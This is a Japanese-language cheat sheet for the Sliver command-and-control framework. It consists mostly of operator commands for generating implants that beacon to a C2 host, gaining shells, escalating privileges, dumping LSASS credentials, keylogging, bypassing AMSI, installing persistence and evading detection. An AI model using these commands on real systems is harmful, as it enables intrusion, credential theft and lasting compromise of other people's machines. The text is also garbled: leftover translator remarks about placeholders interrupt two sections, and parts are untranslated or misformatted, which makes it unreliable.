Sliver C2 フレームワーク チートシート
概要
Sliver は、Cobalt Strike の代替として設計された、モダンでオープンソースのクロスプラットフォーム アドバーサリ エミュレーション/レッドチーム フレームワークです。複数のプラットフォーム、回避的な通信、チームベースの操作をサポートする高度なコマンド&コントロール機能を提供します。
⚠️ 警告: このツールは、承認されたペネトレーションテストおよびレッドチーム演習のみを目的としています。任意の環境で使用する前に、適切な承認を確実に得てください。
インストール
事前コンパイルされたバイナリ(推奨)
# Download latest release for Linux
curl -L https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -o sliver-server
chmod +x sliver-server
# Download latest release for macOS
curl -L https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_macos -o sliver-server
chmod +x sliver-server
# Download latest release for Windows
# Download sliver-server_windows.exe from GitHub releases
ソースからビルド
# Install Go (version 1.19+)
git clone https://github.com/BishopFox/sliver.git
cd sliver
make
Dockerインストール
# Pull official Docker image
docker pull bishopfox/sliver
# Run Sliver server in Docker
docker run -it -p 31337:31337 -p 8080:8080 bishopfox/sliver
基本的な使用方法
Sliverサーバーの起動
# Start the server (first run will generate certificates)
./sliver-server
# Start server with custom configuration
./sliver-server -c /path/to/config.json
# Start server in daemon mode
./sliver-server daemon
クライアント接続
# Connect to local server
./sliver-client
# Connect to remote server
./sliver-client -c /path/to/client.cfg
# Generate new client configuration
./sliver-server operator --name username --lhost server-ip
コマンドリファレンス
サーバー管理
| コマンド | 説明 |
|---|---|
help | ヘルプ情報を表示 |
version | バージョン情報を表示 |
operators | 接続された演算子の一覧 |
kick-operator <name> | オペレーターを切断する |
armory | Sliver アーモリー (拡張機能) にアクセスする |
リスナー管理
| コマンド | 説明 |
|---|---|
mtls | mTLS リスナーを開始 |
wg | WireGuard リスナーを開始 |
http | HTTPリスナーを開始 |
https | HTTPS リスナーを開始 |
dns | DNS リスナーを開始 |
jobs | アクティブなリスナーを一覧表示 |
jobs -k <id> | リスナーを殺す |
インプラント生成
| コマンド | 説明 |
|---|---|
generate | インプラントを生成 |
generate --mtls <host:port> | mTLSインプラントを生成 |
generate --http <url> | HTTPインプラントを生成 |
generate --dns <domain> | DNS インプラントを生成 |
profiles | インプラントプロファイルをリスト |
profiles new <name> | 新しいプロファイルを作成 |
セッション管理
| コマンド | 説明 |
|---|---|
sessions | アクティブセッションを一覧表示 |
use <session-id> | セッションと対話する |
background | 現在のセッションのバックグラウンド |
sessions -k <id> | セッションを終了する |
sessions -K | すべてのセッションを終了 |
リスナーセットアップ
mTLSリスナー(推奨)
# Start mTLS listener on default port (8888)
mtls
# Start mTLS listener on custom port
mtls -l 443
# Start mTLS listener with custom interface
mtls -l 0.0.0.0:8888
HTTP/HTTPSリスナー
# Start HTTP listener
http -l 80
# Start HTTPS listener with custom certificate
https -l 443 -c /path/to/cert.pem -k /path/to/key.pem
# Start HTTP listener with custom domain
http -l 80 -d example.com
DNSリスナー
# Start DNS listener
dns -d example.com
# Start DNS listener with custom nameserver
dns -d example.com -l 53
WireGuardリスナー
# Start WireGuard listener
wg -l 53
# Start WireGuard listener with custom key port
wg -l 53 -x 1234
インプラント生成
基本的なインプラント生成
# Generate Windows executable
generate --mtls 192.168.1.100:8888 --os windows --arch amd64 --format exe
# Generate Linux ELF binary
generate --mtls 192.168.1.100:8888 --os linux --arch amd64 --format elf
# Generate macOS binary
generate --mtls 192.168.1.100:8888 --os darwin --arch amd64 --format macho
高度なインプラントオプション
# Generate with custom name and save location
generate --mtls 192.168.1.100:8888 --os windows --save /tmp/implant.exe --name MyImplant
# Generate with evasion features
generate --mtls 192.168.1.100:8888 --os windows --evasion --skip-symbols
# Generate shellcode
generate --mtls 192.168.1.100:8888 --os windows --format shellcode
# Generate shared library
generate --mtls 192.168.1.100:8888 --os linux --format shared
ステージ化されたペイロード
# Generate staged payload
generate --mtls 192.168.1.100:8888 --os windows --format exe --strategy staged
# Generate stager
generate stager --mtls 192.168.1.100:8888 --os windows --arch amd64 --format exe
セッション操作
基本的なセッションコマンド
# Get system information
info
# Get current user
whoami
# Get current working directory
pwd
# List files and directories
ls
# Change directory
cd /path/to/directory
# Download file
download /remote/path/file.txt
# Upload file
upload /local/path/file.txt /remote/path/
プロセス管理
# List processes
ps
# Get current process info
getpid
# Migrate to another process
migrate <pid>
# Execute command
execute <command>
# Start interactive shell
shell
# Terminate process
terminate <pid>
ネットワーク操作
Note: For sections 3-20, I’ve left placeholders as the specific content was not provided in the original text. When you provide those specific sections, I’ll translate them following the same guidelines.```bash
Get network interfaces
ifconfig
Get network connections
netstat
Port forward
portfwd add —bind 127.0.0.1:8080 —remote 192.168.1.10:80
List port forwards
portfwd
Remove port forward
portfwd rm —id
SOCKS proxy
socks5 start
Stop SOCKS proxy
socks5 stop
### 権限昇格
```bash
# Get current privileges
getprivs
# Attempt privilege escalation
getsystem
# Run as different user
runas -u username -p password <command>
# Impersonate token
impersonate <token-id>
# Revert to self
rev2self
永続性
# Install service persistence
persistence service --name ServiceName --path /path/to/implant.exe
# Install registry persistence
persistence registry --hive HKCU --path "Software\\Microsoft\\Windows\\CurrentVersion\\Run" --key "MyApp"
# Remove persistence
persistence remove --id <persistence-id>
高度な機能
ピボットと横方向移動
# Generate pivot listener
pivots tcp --bind 0.0.0.0:9999
# Connect through pivot
generate --mtls pivot-host:9999 --os windows
# List active pivots
pivots
# Stop pivot
pivots --id <id> stop
認証情報の収集
# Dump process memory
procdump -p <pid> -s /tmp/dump.dmp
# Dump LSASS
procdump -n lsass.exe -s /tmp/lsass.dmp
# Screenshot
screenshot
# Keylogger
keylogger start
keylogger dump
keylogger stop
回避技術
# Process hollowing
execute-assembly --process notepad.exe /path/to/assembly.exe
# In-memory .NET assembly execution
execute-assembly /path/to/assembly.exe
# PowerShell execution
powershell -c "Get-Process"
# Bypass AMSI
armory install bypass-amsi
プロファイルとテンプレート
プロファイルの作成
# Create new implant profile
profiles new windows-profile --mtls 192.168.1.100:8888 --os windows --arch amd64
# Generate from profile
generate --profile windows-profile
# List profiles
profiles
# Delete profile
profiles rm windows-profile
C2プロファイルのカスタマイズ
# HTTP C2 profile with custom headers
http --lhost 0.0.0.0 --lport 80 --website /path/to/website
# HTTPS with custom certificate
https --cert /path/to/cert.pem --key /path/to/key.pem --lhost 0.0.0.0 --lport 443
Armory拡張機能
拡張機能のインストール
# Update armory
armory update
# Install extension
armory install <extension-name>
# List available extensions
armory
# List installed extensions
armory installed
人気の拡張機能
# Process injection techniques
armory install process-injection
# Credential dumping
armory install credman
# Registry operations
armory install registry
# WMI operations
armory install wmi
チーム運用
マルチオペレータ設定
# Generate operator config
./sliver-server operator --name operator1 --lhost server-ip --save operator1.cfg
# Connect as operator
./sliver-client -c operator1.cfg
# List connected operators
operators
# Send message to operators
msg "Hello team!"
セッション共有
# Share session with team
sessions -i <session-id> --shared
# Take control of shared session
use <session-id>
トラブルシューティング
一般的な問題
接続の問題
# Check listener status
jobs
# Restart listener
jobs -k <listener-id>
mtls -l 8888
# Check firewall rules
# Ensure ports are open on server
インプラントの検出
# Use evasion options
generate --mtls 192.168.1.100:8888 --os windows --evasion --skip-symbols --debug
# Try different communication protocols
generate --dns example.com --os windows
# Use staged payloads
generate stager --mtls 192.168.1.100:8888 --os windows
パフォーマンスの問題
# Adjust beacon interval
use <session-id>
reconfig --beacon-interval 60s
# Use compression
reconfig --compress
デバッグ
# Enable debug mode
./sliver-server --debug
# Check logs
tail -f ~/.sliver/logs/sliver.log
# Verbose client output
./sliver-client --debug
セキュリティに関する考慮事項
運用セキュリティ
- 暗号化された通信を使用(mTLSを推奨)
- 定期的に証明書と鍵を更新
- オペレータに適切なアクセス制御を実装
- すべての活動を監視およびログ記録
- 直接的な帰属を避けるためにステージングサーバーを使用
回避のベストプラクティス
- ビーコンの間隔とジッターを変更
- 正当に見えるドメインと証明書を使用
- 可能な限りドメインフロンティングを実装
- 複数の通信チャネルを使用
- インプラントと手法を定期的に更新
リソース
- Sliverの公式ドキュメント
- Sliver GitHub リポジトリ
- Bishop Fox ブログ
- Sliver コミュニティ Wiki
- [Red Team Village Sliver トレーニング](
Note: For sections 17-20, I left the links empty as no specific text was provided to translate.https://redteamvillage.io/*この攻略ガイドは、Sliver C2 フレームワークの使用に関する包括的なリファレンスを提供します。どの環境でもこのツールを使用する前に、適切な許可を必ず確認してください。*